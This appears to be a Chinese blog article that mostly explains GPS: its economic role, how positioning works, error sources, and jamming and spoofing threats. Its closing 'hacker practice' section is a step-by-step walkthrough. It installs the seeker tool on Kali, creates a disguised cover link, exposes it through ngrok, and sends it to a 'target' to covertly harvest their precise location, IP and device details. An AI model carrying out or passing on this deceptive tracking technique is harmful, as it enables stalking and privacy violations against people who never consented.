GPS是如何定位的？

《目录》

GPS

全球经济基础

GPS定位算法

空间定位

消除误差

卫星和接收装置本身引起的误差

信号传输速度的不稳定

如何控制、摧毁GPS ？

黑客实战：定位目标的地理位置

GPS

【GPS】全称叫做Global Positioning System（全球定位系统），最早是美国军方的一个项目，主要用来收集情报、监测核爆、处理应急通讯等等，到了 2000年左右，才开始投入民用。

一提到【GPS】，您的第一反应可能就是导航、指路，或者用GPS定位的位置和距离，来挑餐厅、点外卖，这些都是【GPS】在生活中的具体应用；但对整个【GPS】系统来说，这些都是最基础、最普通的应用，太小了。

事实上，【GPS】远比我们想象的更重要，TA对于全球经济的稳定和安全，都有非常关键的意义。

今天从更大的格局上，去了解GPS的作用和影响力；还有，假如【GPS】出了问题，TA将从哪些层面，给您的工作和生活造成震荡。

全球经济基础

简单来说，【GPS】系统由三大部分构成：太空中的【GPS】卫星系统、地面上的监控系统、还有用户的接收系统，比如说手机，电脑等等。

《彭博商业周刊》认为，之所以说【GPS】是全球经济的基础，是因为TA的“定位”和“定时”两个功能，对于全球经济的稳定运转，起到了非常关键的作用。

“定位”功能大家都好熟悉了，【GPS】本身是一个无处不在的卫星定位系统，TA的出现，为很多行业都带来了革命：

测绘界，在【GPS】系统的“加持”下，传统的大地测量、资源勘查等工作，变得速度更快、精度更高、不受天气和光线的影响，还可以节省人力；
不管是地面交通、水路运输，还是航空航天，利用【GPS】系统，就能对车辆、轮船、飞机进行跟踪调度、路线规划，并且及时响应请求；
用于精准农耕，根据不同的农作物和土地需求，施行特定的耕作方案；
在日常生活中的定位、导航应用，那就更不用多说了；
......

那么“定时”这个功能怎么理解呢？

“定时”指的是，【GPS】其实是一个巨大的星载时钟，TA可以精确到十亿分之一秒，地球上所有的计算机都靠TA来确定时间。

【GPS】的定时功能至关重要，像通讯系统、电力系统和金融网络，都需要精准的、不间断的【GPS】定时，才能实现高效率的同步和运行。

全球各大电力公司的电网，只有在时间上保持精准的同步，才能高效地进行电力传送和分配；
各项金融活动，哪怕只是时间上出现极其细微的异常，都有可能造成大规模的市场震荡和恐慌，甚至还可能有人专门钻空子，利用这一点从中牟利；
......

总而言之，全球经济在各个方面都极度依赖【GPS】系统。

目前，全球正在使用的【GPS】设备有就 20 亿个，到 2022年，这个数字将达到 70亿。

除了美国，其他国家比如说俄罗斯、欧盟，也都在积极研发自己的【GPS】系统，咱们中国的是北斗卫星导航系统，但这些系统都要不同程度地依赖美国的【GPS】系统，所以，TA们面临的威胁和问题，也是相似的。

GPS定位算法

不知道您有没有想过：GPS是如何定位的？

上次回家，我坐在车上就想了这个问题，又看了看 CSDN：

空间定位

【GPS】定位的原理是高中的立体几何、解析几何的内容。

空间中的任意一点，都可以用 $(x,~y,~z)$ 这三个坐标值来确定。

要找到这三个未知数，需要三个方程：

地球的球面是一个二次曲线；
和某个卫星等距离的所有点，是一个二次曲面；
另找一个卫星，就能构成第三个方程；

【GPS】定位 $=$ 俩个卫星 + 地球；

【GPS】定位 $=$ 三个二次曲面的方程；

【GPS】定位 $=$ $(x,~y,~z)$ 。

不过三个二次曲面的方程的解可能不止一个，而是俩个。

一般就会引入第三颗卫星确定唯一的位置。（3个不共面的点就可以确定一个空间3D坐标）

如果对位置精度要求更高，就需要再引入一颗卫星定位。（修正误差）

接着，我们还得把 $(x,~y,~z)$ 转为人类常用的经纬度，我看一个空间坐标完全是二哈看星星，俩眼一抹黑；经纬度因为都学过，所以会更直观。

经纬度的原理是把地球看成一个圆，我们只关注这个球的表面，也就是一个二维的弯曲平面。

对于卫星，其实还有一个不同的坐标系，TA也有三个变量，卫星到地心的距离，卫星的两个夹角（卫星的经纬度）。

这样的坐标便于卫星监测，但是要计算距离，也要转化成直角坐标。

现在坐标系确定了，位置的计算方法有了，照说就能用【GPS】定位了。

但是，如果就这样来计算位置的话，那误差就大得不得了了。

消除误差

因此，【GPS】的精度其实就取决于如何消除误差。

讲起来，引起【GPS】误差的因素特别特别多，大概可以把这些误差（根据TA们的来源）分成这样两类：

卫星和接收装置本身引起的误差
信号传输速度的不稳定

【GPS】的核心算法就在于消除误差。

卫星和接收装置本身引起的误差

卫星和接收装置本身引起的误差也有这样俩种：

星历和时钟的误差
相对论的误差

【星历和时钟的误差】：计算地面和卫星的距离，是以电磁波的传播速度（光速）和传播时间推导的，传播速度是光速，传播时间的度量却不稳定。

卫星上的时钟和地面的时间之间是有误差的，如果误差 $0.1$ 毫秒，也就是一秒的万分之一 ，定位就会差出 30 公理。

【相对论的误差】：狭义相对论指出了卫星上高速运动的时钟会比地球上的钟走的慢（如果一个人去了太空一段时间，回来时TA会比同龄人要年轻许多），而广义相对论指出重量场的作用也会导致时间测量的误差。

信号传输速度的不稳定

【信号传输速度的不稳定】：从地球表面到卫星不是真空，因为地球的大气层密度不同（像无人机可能还在哪个山洞里），光速并不恒定，电磁波的速度和真空光速也会有误差，而且地球是还有电离层，也还会造成信号传输的延时。

【地球的自转误差】：地球的自转速度也不均匀。

除此之外，还有许多会造成误差的原因 ... 任何一个误差如果不校正，都能使得导航的偏差小到百米，多到万米。

对于无人机来说，【GPS】信号只有在开阔的空间内才能给出比较好的测量值，因为【GPS】接收机需要从天上的卫星处获得信号，这些信号要从太空传入大气层。

这么远的距离，信号已经相对很微弱，所以必须要求接收机和卫星之间的连线上没有遮挡。

一旦有建筑甚至是树木的遮挡，卫星发下来的信号就有噪声，【GPS】接收机就不能给出很好的位置和速度观测。

在室内，GPS甚至不能用。

所以，无人机视觉感知系统，就被看作是GPS的补充。

视觉感知系统的原理是利用一个或者多个相机构成的视觉传感器系统，通过二维的相机图像推算出视野中物体相对于视觉传感器系统几何中心的运动信息。

现在的科学家正在努力把视觉感知系统和组合导航融合起来，GPS信号质量高的时候用GPS组合导航，没GPS的时候用视觉感知系统替代。

如何控制、摧毁GPS ？

因为【GPS】是建立在卫星之上的，所以卫星会被什么给摧毁？

主要是俩大类：

太空的电磁辐射和太空垃圾（比如太阳的各种活动，轻一点的对【GPS】系统进行干扰，也可能一颗卫星就没了）
地面的信号干扰（人为破坏）

这俩大类中，第二类越来越多......

根据欧洲全球导航卫星系统署的记录，过去两年至少发生了大约 5万起蓄意干扰事件，大多是通过各种【GPS】信号干扰设备来操作的。

比如 2016年，在马尼拉的尼诺阿基诺国际机场，有40多架客机在即将降落时失去了GPS信号，最后机务人员只能冒着巨大的风险，靠肉眼判断完成着陆。

经过事后分析，这很有可能是飞机上的GPS信号受到了人为干扰。

还有【GPS】电子欺骗，给飞机发送虚假的【GPS】定位信号，让机组人员误判飞机的航行位置。

这会带来什么后果呢？？

德州大学的航空工程学教授托德·汉弗莱斯就做过一个试验，他向美国国土安全部的官员们证明，用这种办法，可以劫持飞机。

事实上，不仅飞机，Uber的车辆、Waymo自动驾驶汽车、亚马逊的送货无人机都会面临这类威胁。

总之，【GPS】系统一旦出了问题，全球经济就不稳定了。

我们唯一能做的就是减少对【GPS】的依赖，在任何情况下【GPS】系统是首选，当【GPS】系统出了问题，我们再用备选方案。

黑客实战：定位目标的地理位置

前置装备：

定位工具：seeker，除了能获取具体位置外，还可以获取目标的公网IP地址、操作系统、平台、CPU核心数、屏幕分辨率、RAM大小、浏览器名称和版本

打开 Kali，输入命令下载：git clone https://github.com/thewhiteh4t/seeker.git

进行安装：./install.sh

赋予权限：chmod 777 template/nearyou/php/info.txt、chmod 777 template/nearyou/php/result.txt

打开工具：python3 seeker.py -t manual

Enter GDrive File URL：输入掩护链接，对方点击链接后会看到的网页

Port：8080（输入链接后，seeker会提供一个端口，默认8080）

反向代理：Ngrok，将 seeker 提供的端口，把seeker映射到公网

输入命令：./ngrok http 8080（端口匹配）

屏幕上会出现链接：https://xxx.ngrok.io，而后把此链接发送给目标，目标点击了就可以获取高精度地理定位。

定位目标地理位置原理/流程：

seeker 制造一个链接，发送给目标，当目标点击后会调用手机/电脑里面的GPS功能
但我们的kali、目标的手机都是处于内网，俩个内网连不通，所以需要一个转换
Ngrok 有公网服务器，kali映射到公网，此时，一个公网一个内网就可以联通了